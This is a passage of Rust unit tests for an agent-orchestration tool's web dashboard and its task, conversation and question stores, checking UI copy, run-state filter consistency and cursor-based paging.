25389        assert!(body.contains("openTaskEdit(task)"));
25390        assert!(body.contains("renderTaskHoldBox(host"));
25391        assert!(body.contains("renderTaskDoneBox(host"));
25392        assert!(body.contains("renderTaskDeleteBox(host"));
25393        assert!(APP_JS.contains("API.priority(id)"));
25394        assert!(APP_JS.contains("API.deleteTask(id)"));
25395        // A deleted task sends the operator back to the queue.
25396        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25397        // A refusal is shown inside the sheet.
25398        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25399    }
25400
25401    #[test]
25402    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25403        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25404        let actions = INDEX_HTML
25405            .find("id=\"run-actions-box\"")
25406            .expect("actions box");
25407        assert!(task < actions, "the task entry comes first in the sheet");
25408        assert!(APP_JS.contains("renderRunTaskEntry"));
25409        assert!(APP_JS.contains("\"Open task \""));
25410        // A run without a task says why there is nothing to open.
25411        assert!(APP_JS.contains("started directly, no task"));
25412        assert!(APP_JS.contains("sheet-task-link"));
25413        assert!(APP_JS.contains("task-chip-link"));
25414    }
25415
25416    #[test]
25417    fn the_deck_never_sends_the_operator_to_a_terminal() {
25418        // The whole point of the phone UI is that a terminal is not needed.
25419        // The delete control used to answer with "Run `magi fold` first."
25420        assert!(
25421            !APP_JS.contains("Run `magi fold` first"),
25422            "the deck must offer the fold, not prescribe a shell command"
25423        );
25424        assert!(APP_JS.contains("foldRun:"));
25425        assert!(APP_JS.contains("resumeRun:"));
25426        assert!(APP_JS.contains("renderRunActions"));
25427
25428        // Folding is destructive and armed in two steps, like deleting.
25429        assert!(APP_JS.contains("armedFold"));
25430        assert!(APP_JS.contains("Yes, fold worktrees"));
25431
25432        // And the copy has to say that the two actions are opposites, because
25433        // folding throws away exactly what a resume would continue from.
25434        assert!(APP_JS.contains("can no longer be resumed"));
25435    }
25436
25437    #[test]
25438    fn a_finished_run_explains_itself_with_its_own_last_line() {
25439        // The deck used to answer "why did this stop?" with a sentence chosen
25440        // by status alone. Run e633 stalled because two judges answered with
25441        // the wrong JSON shape and its card said "The panel collapsed on
25442        // agent quota" - with `quota: []` in the record and a quota-loss
25443        // counter right above it that correctly said nothing.
25444        assert!(
25445            !APP_JS.contains("collapsed on agent quota"),
25446            "a stall must not be explained by a cause the deck did not check"
25447        );
25448        assert!(
25449            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25450            "and a block must not offer a guess with an `or` in it"
25451        );
25452
25453        // The reason it does have is `run.event`, which must reach finished
25454        // runs: gating it on movement hid the recorded truth at the one moment
25455        // the operator is reading the card to find out what happened.
25456        assert!(
25457            APP_JS.contains("setText(r.event, run.event || \"\")"),
25458            "the run's last line is rendered unconditionally"
25459        );
25460        assert!(
25461            !APP_JS.contains("moving && run.event"),
25462            "and never gated on the run still moving"
25463        );
25464
25465        // Quota keeps its own counter, fed by the number actually recorded.
25466        assert!(APP_JS.contains("lost to quota"));
25467    }
25468
25469    /// The runs tree (section) and the state chips (waiting/done) are two
25470    /// independent lenses ANDed together in `renderRuns`, and some pairings
25471    /// can never both be true for any run - every "Landed"/"Ended" run is
25472    /// done by construction, so pairing either with "Active" or "In flight"
25473    /// always rendered zero cards with the filter bar still claiming
25474    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25475    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25476    /// a handful of (waiting, status) shapes standing in for the run
25477    /// lifecycle, because `cargo test` cannot execute the front end.
25478    ///
25479    /// That stand-in list is itself the part that drifted twice in review:
25480    /// once shipped with `waiting: true` paired with a done status the
25481    /// lifecycle cannot produce, then over-corrected into treating every
25482    /// waiting run as never done - which made "Waiting on you" look
25483    /// incompatible with "Done" even for the one real, reachable shape
25484    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25485    /// that combination. This test parses the shapes and the done-rule back
25486    /// out of `APP_JS`, reimplements `runSection` and the five state
25487    /// predicates independently in Rust, and checks the resulting
25488    /// section/filter compatibility table against the lifecycle rules by
25489    /// hand - so either direction of drift fails it again.
25490    #[test]
25491    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25492        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25493        let shapes_body_start =
25494            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25495        let shapes_close = APP_JS[shapes_body_start..]
25496            .find("].map(")
25497            .expect("the shape list is closed by its done-computing .map(...)")
25498            + shapes_body_start;
25499        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25500
25501        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25502        for entry in shapes_src.split('{').skip(1) {
25503            let waiting = entry.contains("waiting: true");
25504            let dead = entry.contains("live: \"dead\"");
25505            let status_at =
25506                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25507            let status_end = entry[status_at..]
25508                .find('"')
25509                .expect("the status string is closed")
25510                + status_at;
25511            let parked = entry.contains("display_status: \"parked\"");
25512            shapes.push((
25513                waiting,
25514                entry[status_at..status_end].to_string(),
25515                dead,
25516                parked,
25517            ));
25518        }
25519        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25520
25521        // The done rule itself (`!["implementing"].includes(shape.status)`),
25522        // read out of the source rather than hardcoded, so a renamed
25523        // in-flight status can't silently make every parsed shape "done".
25524        let done_rule_marker = "done: !";
25525        let done_rule_at = APP_JS[shapes_close..]
25526            .find(done_rule_marker)
25527            .expect("the done rule follows the shape list")
25528            + shapes_close
25529            + done_rule_marker.len();
25530        let includes_at = APP_JS[done_rule_at..]
25531            .find(".includes(shape.status)")
25532            .expect("the done rule ends in .includes(shape.status)")
25533            + done_rule_at;
25534        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25535            .trim()
25536            .trim_start_matches('[')
25537            .trim_end_matches(']')
25538            .split(',')
25539            .map(|s| s.trim().trim_matches('"'))
25540            .filter(|s| !s.is_empty())
25541            .collect();
25542
25543        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25544            .into_iter()
25545            .map(|(waiting, status, dead, parked)| {
25546                let done = !not_done.contains(&status.as_str());
25547                (waiting, status, dead, parked, done)
25548            })
25549            .collect();
25550
25551        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25552        // outright, then merged/ready land, stalled/blocked/failed/
25553        // verified_noop end, and everything else is still in flight.
25554        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25555            if waiting {
25556                return "waiting";
25557            }
25558            if dead
25559                && !parked
25560                && !matches!(
25561                    status,
25562                    "merged"
25563                        | "ready"
25564                        | "stalled"
25565                        | "blocked"
25566                        | "failed"
25567                        | "verified_noop"
25568                        | "superseded"
25569                        | "already_in_base"
25570                )
25571            {
25572                return "stale";
25573            }
25574            match status {
25575                "merged" | "ready" => "landed",
25576                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25577                | "already_in_base" => "ended",
25578                _ => "flight",
25579            }
25580        }
25581
25582        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25583        // way.
25584        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25585            match filter_key {
25586                "active" => !done,
25587                "flight" => !done && !waiting && !dead,
25588                "stale" => !done && !waiting && dead,
25589                "waiting" => waiting,
25590                "done" => done,
25591                "all" => true,
25592                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25593            }
25594        }
25595
25596        let compatible = |section: &str, filter_key: &str| {
25597            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25598                run_section(*waiting, status, *dead, *parked) == section
25599                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25600            })
25601        };
25602
25603        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25604        // (active, flight, stale, waiting, done, all) - hand-derived from the
25605        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25606        // currently contains.
25607        let expected = [
25608            ("waiting", [true, false, false, true, true, true]),
25609            ("stale", [true, false, true, false, false, true]),
25610            ("flight", [true, true, false, false, false, true]),
25611            ("landed", [false, false, false, false, true, true]),
25612            ("ended", [false, false, false, false, true, true]),
25613        ];
25614        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25615
25616        for (section, wants) in expected {
25617            for (filter_key, want) in filter_keys.iter().zip(wants) {
25618                assert_eq!(
25619                    compatible(section, filter_key),
25620                    want,
25621                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25622                );
25623            }
25624        }
25625
25626        // The compatibility check exists only to be acted on: both pickers
25627        // must actually consult it rather than just render its answer.
25628        assert!(
25629            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25630        );
25631        assert!(APP_JS.contains(
25632            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25633        ));
25634        assert!(APP_JS.contains(
25635            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25636        ));
25637    }
25638
25639    #[tokio::test]
25640    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25641        // An operator-named directory - git checkout or not - is never
25642        // second-guessed, even when it does not exist at all: only the
25643        // flag's own unmodified `.` default is ever eligible for discovery.
25644        let dir = tempfile::tempdir().expect("tempdir");
25645        let explicit = dir.path().join("not-a-checkout");
25646        std::fs::create_dir_all(&explicit).expect("create dir");
25647        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25648
25649        let missing = dir.path().join("does-not-exist-at-all");
25650        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25651    }
25652
25653    #[test]
25654    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25655        assert!(APP_JS.contains("function statsDonutArcs"));
25656        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25657        // A bucket click filters by the statuses src/stats.rs counts in it.
25658        assert!(APP_JS.contains("function statusInBucket"));
25659        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25660        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25661        let buckets = [
25662            "merged",
25663            "ready",
25664            "in_progress",
25665            "blocked",
25666            "failed",
25667            "verified_noop",
25668            "superseded",
25669            "stalled",
25670        ];
25671        for key in buckets {
25672            let var = format!("--verdict-{key}:");
25673            // Light, OS-dark and pinned-dark blocks each define it.
25674            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25675            assert!(
25676                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25677                "{key}"
25678            );
25679        }
25680    }
25681
25682    #[tokio::test]
25683    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25684        let dir = tempfile::tempdir().expect("tempdir");
25685        let queue = Queue::at(dir.path().join("queue"));
25686        let talks = Talks::at(dir.path().join("talks"));
25687        std::fs::create_dir_all(queue.root()).unwrap();
25688        std::fs::create_dir_all(talks.root()).unwrap();
25689
25690        // Put a corrupt json file in both stores
25691        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25692        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25693
25694        // Valid task and talk
25695        let mut task = Task::new(
25696            "title".into(),
25697            "inst".into(),
25698            PathBuf::from("/repo"),
25699            Source::Human,
25700        );
25701        task.id = "20261019-123456-abcd".into();
25702        // Write manually so it's a valid file
25703        std::fs::write(
25704            queue.path_of(&task.id),
25705            serde_json::to_string(&task).unwrap(),
25706        )
25707        .unwrap();
25708
25709        let talk_id = "20261019-234567-cdef";
25710        seed_talk_at(&talks, talk_id, "open");
25711
25712        // Exact match should succeed without failing on the corrupt json file
25713        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25714        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25715
25716        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25717        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25718        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25719    }
25720
25721    #[tokio::test]
25722    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25723        let home = tempfile::tempdir().unwrap();
25724        let ui = delta_test_ui(home.path());
25725        // A full history traversal would fail even with no questions.
25726        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25727        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25728        assert!(
25729            questions_list(State(ui.clone()))
25730                .await
25731                .unwrap()
25732                .0
25733                .is_empty()
25734        );
25735        assert!(
25736            question_origins(State(ui.clone()))
25737                .await
25738                .unwrap()
25739                .0
25740                .is_empty()
25741        );
25742        let mut question = Question::new(
25743            "run-history".into(),
25744            "review".into(),
25745            "seat".into(),
25746            "Useful question".into(),
25747            "Useful detail".into(),
25748            vec![],
25749        );
25750        ui.questions.put(&mut question).unwrap();
25751        let core = questions_core(State(ui.clone())).await.unwrap().0;
25752        assert_eq!(core.len(), 1);
25753        assert_eq!(core[0].question.summary, "Useful question");
25754        assert!(!core[0].can_consult_chat);
25755        assert!(core[0].origin_chat.is_none());
25756        assert_eq!(core[0].record_revision, question_record_revision(&question));
25757        assert!(question_origins(State(ui.clone())).await.is_err());
25758        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25759    }
25760
25761    #[tokio::test]
25762    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25763        let home = tempfile::tempdir().unwrap();
25764        let ui = delta_test_ui(home.path());
25765        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25766        let mut parent = Task::new(
25767            "parent".into(),
25768            "body".into(),
25769            PathBuf::from("/repo"),
25770            Source::Agent {
25771                run: chat.clone(),
25772                node: crate::queue::CHAT_NODE.into(),
25773            },
25774        );
25775        parent.id = "parent-task".into();
25776        parent.runs = vec!["parent-run".into()];
25777        ui.queue.put(&mut parent).unwrap();
25778        let mut previous = parent;
25779        for generation in 1..=2 {
25780            let mut child = Task::new(
25781                "child".into(),
25782                "body".into(),
25783                PathBuf::from("/repo"),
25784                Source::Human,
25785            );
25786            child.id = format!("child-task-{generation}");
25787            child.runs = vec![format!("child-run-{generation}")];
25788            child.followup = Some(crate::queue::FollowUp {
25789                origin_task: Some(previous.id.clone()),
25790                run: previous.runs[0].clone(),
25791                pr: String::new(),
25792                findings: vec![],
25793                generation,
25794            });
25795            ui.queue.put(&mut child).unwrap();
25796            previous = child;
25797        }
25798        // A run may have the same spelling as another task's id; its owner
25799        // must not override a typed task reference.
25800        let mut collision = Task::new(
25801            "collision".into(),
25802            String::new(),
25803            PathBuf::from("/repo"),
25804            Source::Human,
25805        );
25806        collision.id = "collision-task".into();
25807        collision.runs = vec![previous.id.clone()];
25808        ui.queue.put(&mut collision).unwrap();
25809        let mut questions = Vec::new();
25810        for (node, reference, expected, eligible) in [
25811            (crate::triage::NODE, previous.id.as_str(), true, false),
25812            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25813            ("review", previous.runs[0].as_str(), true, true),
25814            (
25815                crate::bump::NOTICE_NODE,
25816                previous.runs[0].as_str(),
25817                true,
25818                false,
25819            ),
25820            // Identical text in the wrong reference namespace is not evidence.
25821            ("review", previous.id.as_str(), false, false),
25822            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25823            ("review", "unrelated", false, false),
25824        ] {
25825            let mut q = Question::new(
25826                reference.into(),
25827                node.into(),
25828                "seat".into(),
25829                "Question".into(),
25830                String::new(),
25831                vec![],
25832            );
25833            ui.questions.put(&mut q).unwrap();
25834            questions.push((q, expected, eligible));
25835        }
25836        for (node, reference, associated, eligible) in [
25837            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25838            (
25839                crate::reconcile::NODE,
25840                previous.runs[0].as_str(),
25841                false,
25842                true,
25843            ),
25844            ("implement", previous.id.as_str(), false, false),
25845        ] {
25846            let mut q = Question::new(
25847                reference.into(),
25848                node.into(),
25849                crate::reconcile::SEAT.into(),
25850                "Reconcile".into(),
25851                String::new(),
25852                vec![],
25853            );
25854            ui.questions.put(&mut q).unwrap();
25855            questions.push((q, associated, eligible));
25856        }
25857        let mut release = Question::new(
25858            "release-record".into(),
25859            crate::bump::NOTICE_NODE.into(),
25860            "release-watch".into(),
25861            "Release".into(),
25862            String::new(),
25863            vec![],
25864        );
25865        ui.questions.put(&mut release).unwrap();
25866        let watch = crate::release_watch::WatchState {
25867            question: Some(release.id.clone()),
25868            run: Some(previous.runs[0].clone()),
25869            held_task: Some(previous.id.clone()),
25870            ..Default::default()
25871        };
25872        let watch_dir = home.path().join("release-watch");
25873        std::fs::create_dir_all(&watch_dir).unwrap();
25874        let watch_path = watch_dir.join("watch.json");
25875        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25876        // Ordinary questions and bump notices do not need watch-store I/O.
25877        for batch in [
25878            Vec::new(),
25879            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25880        ] {
25881            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25882            assert!(watches.is_empty());
25883        }
25884        questions.push((release.clone(), true, false));
25885
25886        let views = questions_list(State(ui.clone())).await.unwrap().0;
25887        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25888        for (q, associated, eligible) in &questions {
25889            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25890            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25891            let expected = associated.then_some(chat.as_str());
25892            assert_eq!(
25893                view.origin_chat.as_deref(),
25894                expected,
25895                "{} {}",
25896                q.node,
25897                q.run
25898            );
25899            assert_eq!(origin.origin_chat.as_deref(), expected);
25900            assert_eq!(view.origin_chat_closed, *associated);
25901            assert_eq!(origin.origin_chat_closed, *associated);
25902            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25903            assert_eq!(origin.can_consult_chat, *eligible);
25904        }
25905        // Either saved link independently recovers a release question's owner.
25906        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25907            let link = crate::release_watch::WatchState {
25908                run,
25909                held_task,
25910                ..watch.clone()
25911            };
25912            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25913            let (tasks, talks, watches) =
25914                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25915            assert_eq!(
25916                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25917                    .unwrap()
25918                    .id,
25919                chat,
25920            );
25921            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25922        }
25923        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25924        // Even identical duplicate records are ambiguous: ignore their links.
25925        let duplicate_path = watch_dir.join("duplicate.json");
25926        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25927        let (tasks, talks, watches) =
25928            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25929        assert!(
25930            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25931                .is_none()
25932        );
25933        std::fs::remove_file(duplicate_path).unwrap();
25934        // Another explicit owner is a conflict even if it has no chat.
25935        let mut unrelated = Task::new(
25936            "other".into(),
25937            String::new(),
25938            PathBuf::from("/repo"),
25939            Source::Human,
25940        );
25941        unrelated.id = "unrelated-task".into();
25942        ui.queue.put(&mut unrelated).unwrap();
25943        let mut conflicting = watch.clone();
25944        conflicting.held_task = Some(unrelated.id);
25945        std::fs::write(
25946            watch_dir.join("conflict.json"),
25947            serde_json::to_vec(&conflicting).unwrap(),
25948        )
25949        .unwrap();
25950        let (tasks, talks, watches) =
25951            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25952        assert!(
25953            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25954                .is_none()
25955        );
25956        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25957        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25958        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25959            assert!(origin.origin_chat.is_none());
25960            assert!(!origin.origin_chat_closed);
25961        }
25962    }
25963
25964    #[test]
25965    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25966        let home = tempfile::tempdir().unwrap();
25967        let ui = delta_test_ui(home.path());
25968        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25969        for i in 0..1000 {
25970            let mut task = Task::new(
25971                "unrelated".into(),
25972                "instruction ".repeat(256),
25973                PathBuf::from("/repo"),
25974                Source::Human,
25975            );
25976            task.id = format!("history-{i:04}");
25977            ui.queue.put(&mut task).unwrap();
25978            let id = seed_talk_at(&ui.talks, &task.id, "open");
25979            let mut talk = ui.talks.get(&id).unwrap();
25980            talk.pending = "history ".repeat(256);
25981            ui.talks.put(&mut talk).unwrap();
25982        }
25983        let mut parent = Task::new(
25984            "parent".into(),
25985            "body".into(),
25986            PathBuf::from("/repo"),
25987            Source::Agent {
25988                run: chat_id.clone(),
25989                node: crate::queue::CHAT_NODE.into(),
25990            },
25991        );
25992        parent.id = "task-parent".into();
25993        parent.runs = vec!["run-parent".into()];
25994        ui.queue.put(&mut parent).unwrap();
25995        let mut child = Task::new(
25996            "child".into(),
25997            "body".into(),
25998            PathBuf::from("/repo"),
25999            Source::Human,
26000        );
26001        child.id = "task-child".into();
26002        child.runs = vec!["run-child".into()];
26003        child.followup = Some(crate::queue::FollowUp {
26004            run: "run-parent".into(),
26005            origin_task: Some(parent.id.clone()),
26006            pr: "https://example.invalid/pr/1".into(),
26007            findings: vec![],
26008            generation: 1,
26009        });
26010        ui.queue.put(&mut child).unwrap();
26011        let mut question = Question::new(
26012            child.id.clone(),
26013            crate::conduct::NODE.into(),
26014            "seat".into(),
26015            "Continue?".into(),
26016            String::new(),
26017            vec![],
26018        );
26019        let (tasks, talks, _watches) =
26020            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26021        assert_eq!(tasks.len(), 2);
26022        assert_eq!(talks.len(), 1);
26023        assert_eq!(
26024            ui.monitor.queue_index.lock().unwrap().reparsed,
26025            0,
26026            "exact ancestry bypasses the index"
26027        );
26028        assert_eq!(
26029            crate::consult::origin_talk(&tasks, &talks, &question)
26030                .unwrap()
26031                .id,
26032            chat_id
26033        );
26034        question.run = "run-child".into();
26035        question.node = "review".into();
26036        for origin_task in [Some(parent.id.clone()), None] {
26037            child.followup.as_mut().unwrap().origin_task = origin_task;
26038            ui.queue.put(&mut child).unwrap();
26039            let (tasks, talks, _watches) =
26040                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26041            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26042            let expected =
26043                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26044                    .unwrap();
26045            assert_eq!(actual.id, expected.id);
26046            assert!(!actual.status.open());
26047            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
26048            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26049            // Without Unix file identity, every readable record must be
26050            // reparsed to detect same-size, same-mtime replacements safely.
26051            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
26052            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
26053        }
26054        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
26055        ui.queue.put(&mut child).unwrap();
26056        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
26057        let (tasks, talks, _watches) =
26058            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26059        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26060        child.origin_chat = Some(chat_id.clone());
26061        ui.queue.put(&mut child).unwrap();
26062        let (tasks, talks, _watches) =
26063            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26064        assert_eq!(
26065            crate::consult::origin_talk(&tasks, &talks, &question)
26066                .unwrap()
26067                .id,
26068            chat_id
26069        );
26070        let revision = question_record_revision(&question);
26071        question.abandon("settled elsewhere");
26072        assert_ne!(revision, question_record_revision(&question));
26073        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
26074        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
26075        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
26076        let (tasks, talks, _watches) =
26077            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26078        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
26079    }
26080
26081    #[test]
26082    fn list_cursors_freeze_membership_and_expire_explicitly() {
26083        let home = tempfile::tempdir().unwrap();
26084        let ui = delta_test_ui(home.path());
26085        std::fs::create_dir_all(ui.queue.root()).unwrap();
26086        for i in 0..40 {
26087            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
26088        }
26089        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
26090        assert_eq!(first.len(), STORE_PAGE_SIZE);
26091        let cursor = cursor.unwrap();
26092        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
26093        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
26094        let (second, _) = page_ids(
26095            &ui,
26096            false,
26097            PageQuery {
26098                before: Some(cursor.clone()),
26099            },
26100        )
26101        .unwrap();
26102        assert_eq!(second[0], "record-0023");
26103        assert!(second.iter().all(|id| !first.contains(id)));
26104        assert!(
26105            page_ids(
26106                &ui,
26107                true,
26108                PageQuery {
26109                    before: Some(cursor.clone())
26110                }
26111            )
26112            .is_err()
26113        );
26114        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
26115        assert_eq!(fresh[0], "record-9999");
26116        ui.monitor.list_walks.lock().unwrap().clear();
26117        assert!(
26118            page_ids(
26119                &ui,
26120                false,
26121                PageQuery {
26122                    before: Some(cursor)
26123                }
26124            )
26125            .is_err()
26126        );
26127    }
26128
26129    #[tokio::test]
26130    async fn talk_pages_load_every_open_then_frozen_closed_history() {
26131        let home = tempfile::tempdir().unwrap();
26132        let ui = delta_test_ui(home.path());
26133        // Every closed conversation is newer by ID than every open conversation.
26134        for i in 0..23 {
26135            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
26136        }
26137        for i in 0..45 {
26138            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
26139        }
26140        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
26141        let first = talks_page(
26142            State(ui.clone()),
26143            Query(PageQuery::default()),
26144            header::HeaderMap::new(),
26145        )
26146        .await
26147        .unwrap()
26148        .0;
26149        assert_eq!(
26150            first.rows.iter().filter(|row| row.status.open()).count(),
26151            23
26152        );
26153        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
26154        assert!(first.rows[..23].iter().all(|row| row.status.open()));
26155        let parsed = ui
26156            .monitor
26157            .talk_parses
26158            .load(std::sync::atomic::Ordering::Relaxed);
26159        assert_eq!(
26160            parsed,
26161            first.rows.len(),
26162            "closed bodies outside this page are not restored"
26163        );
26164        let fresh = talks_page(
26165            State(ui.clone()),
26166            Query(PageQuery::default()),
26167            header::HeaderMap::new(),
26168        )
26169        .await
26170        .unwrap()
26171        .0;
26172        assert_eq!(fresh.rows.len(), first.rows.len());
26173        assert_eq!(
26174            ui.monitor
26175                .talk_parses
26176                .load(std::sync::atomic::Ordering::Relaxed),
26177            parsed
26178        );
26179        let mut seen: std::collections::HashSet<_> =
26180            first.rows.iter().map(|row| row.id.clone()).collect();
26181        // Status changes keep their original membership position until refresh.
26182        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
26183        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
26184        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
26185        let mut next = first.next;
26186        while let Some(cursor) = next {
26187            let page = talks_page(
26188                State(ui.clone()),
26189                Query(PageQuery {
26190                    before: Some(cursor),
26191                }),
26192                header::HeaderMap::new(),
26193            )
26194            .await
26195            .unwrap()
26196            .0;
26197            assert!(page.rows.len() <= STORE_PAGE_SIZE);
26198            for row in page.rows {
26199                assert!(seen.insert(row.id), "a cursor must not repeat membership");
26200            }
26201            next = page.next;
26202        }
26203        let expected: HashSet<_> = (0..23)
26204            .map(|i| format!("20260101-000000-{i:03}"))
26205            .chain(
26206                (0..45)
26207                    .filter(|i| *i != 1)
26208                    .map(|i| format!("20261019-000000-{i:03}")),
26209            )
26210            .collect();
26211        assert_eq!(
26212            seen, expected,
26213            "the cursor walk must return every surviving ID"
26214        );
26215        let refreshed = talks_page(
26216            State(ui.clone()),
26217            Query(PageQuery::default()),
26218            header::HeaderMap::new(),
26219        )
26220        .await
26221        .unwrap()
26222        .0;
26223        assert_eq!(
26224            refreshed
26225                .rows
26226                .iter()
26227                .filter(|row| row.status.open())
26228                .count(),
26229            23
26230        );
26231        assert!(
26232            refreshed
26233                .rows
26234                .iter()
26235                .any(|row| row.id == "20261019-000000-000")
26236        );
26237        assert!(
26238            !refreshed
26239                .rows
26240                .iter()
26241                .any(|row| row.id == "20260101-000000-000")
26242        );
26243    }
26244
26245    #[test]
26246    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
26247        let home = tempfile::tempdir().unwrap();
26248        let ui = delta_test_ui(home.path());
26249        for i in 0..STORE_PAGE_SIZE + 5 {
26250            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
26251        }
26252        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
26253        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
26254        assert!(next.is_none());
26255    }
26256
26257    #[test]
26258    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
26259        struct Counted<R> {
26260            inner: R,
26261            bytes: usize,
26262        }
